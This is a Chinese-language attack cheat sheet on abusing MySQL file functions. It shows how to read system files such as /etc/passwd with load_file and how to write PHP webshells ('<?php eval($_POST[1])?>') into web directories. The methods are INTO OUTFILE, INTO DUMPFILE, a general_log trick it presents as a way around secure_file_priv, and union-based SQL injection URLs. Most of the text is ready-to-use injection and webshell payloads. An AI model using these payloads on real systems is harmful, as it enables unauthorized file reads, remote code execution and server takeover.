0x00 注意点
注意: 读与写操作,要求是当前连接的mysql用户为root权限才行!
0x01 读写文件操作讲解
5.5.53之前的版本是secure_file_priv变量 默认为空 所以直接就可以使用
load_file函数与into outfile函数只有满足以下条件可以使用:
- 当前连接的mysql用户为root权限
- 文件权限: chmod a+x pathtofile
- 文件大小: 必须小于max_allowed_packet
注意: mysql版本,低于5.5时满足上面3个条件即可使用,高于5.5时mysql新出了一个secure-file-priv字段
- secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT … > OUTFILE, and LOAD_FILE()传到哪个指定目录的。
- ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
- 查看自己是否有读取权限sql: select (select count(*) from mysql.user)>0
- 如果结果返回正常,说明具有读写权限
- 如果返回错误,应该是管理员给数据库账户降权
查看secure-file-priv参数的值: show global variables like ‘%secure%’;
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | NULL |
+------------------+-------+
2 rows in set (0.00 sec)
- 默认的为NULL。即不允许导入导出
- 为了实验能正常做下去
- 修改mysql.ini 文件,在[mysqld] 下加入
- windows下: 修改my.ini 在[mysqld]内加入secure-file-priv = ‘’
- linux下: 修改my.cnf 在[mysqld]内加入secure_file_priv = ‘’
- 保存,然后重启mysql即可
0x02 INTO OUTFILE函数 与 INTO DUMPFILE函数 差别
INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
0x03 load_file函数读文件
select load_file(‘/etc/passwd’);
十六进制读: select load_file(0x2F6574632F706173737764)
0x04 into outfile 写文件
还有一个需要注意的点,在linux写shell的时候需要找一个777目录,如果没有777目录是无法成功写入的!!!
0x04.1 写入方法1
select ‘这里写木马’ into outfile ‘网站绝对路径/xxx.php’
0x04.2 写入方法2
select * from tdb_goods where goods_id=1 into outfile “网站绝对路径/xxx.php” LINES STARTING BY ‘<?php phpinfo()?>’
- LINES STARTING BY ‘写入的内容’ = 设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
- LINES TERMINATED BY ‘写入的内容’ = 设置每行数据结尾的字符,可以为单个或多个字符。默认值是”\n”。
0x05 利用mysql日志写文件
可绕过 secure_file_priv 不管 secure_file_priv 设置的是啥,都可以直接使用这个方法绕过,生成文件
利用条件:
- root权限 或是 当前登录账号能访问 performance_schema 库
- 知道网址绝对路径
还有一个需要注意的点,在linux写shell的时候需要找一个777目录,如果没有777目录是无法成功写入的!!!
如果当前登录账号能访问 performance_schema 库那么就大概率可以shell了
- SET GLOBAL general_log=ON;
- SET GLOBAL general_log_file=’网站绝对路径/xxx.php’;
- select ‘<?php eval($_POST[1])?>’;
- SET GLOBAL general_log=OFF;
0x06 注入导出shell
web: http://127.0.0.1/xx.php?id=-1 union select 1,2,3,4,’<?php eval($_POST[1])?>’,5 into outfile ‘绝对路径’ — a
select * from tdb_goods where goods_id=-1 union select 1,2,3,4,’<?php eval($_POST[1])?>’,5 into outfile ‘绝对路径’ — a
例子: select * from tdb_goods where goods_id id=-1 union select 1,2,3,4,’<?php eval($_POST[1])?>’,5 into outfile ‘/var/www/html/1.php’ — a
0x07 INTO DUMPFILE 写文件
sql: select 1,2,3,4,’<?php eval($_POST[1])?>’,5 INTO DUMPFILE ‘E:/WWW/111111.php’ — a
0x08 INTO DUMPFILE 写文件2
不能union的写shell方法
select * from 表 WHERE id=1 into outfile "F:\1.php" lines terminated by "<?php echo 1; ?>"
执行完毕以后会在 F:\1.php 生成 111111.php 并且里面 <?php echo 1; ?>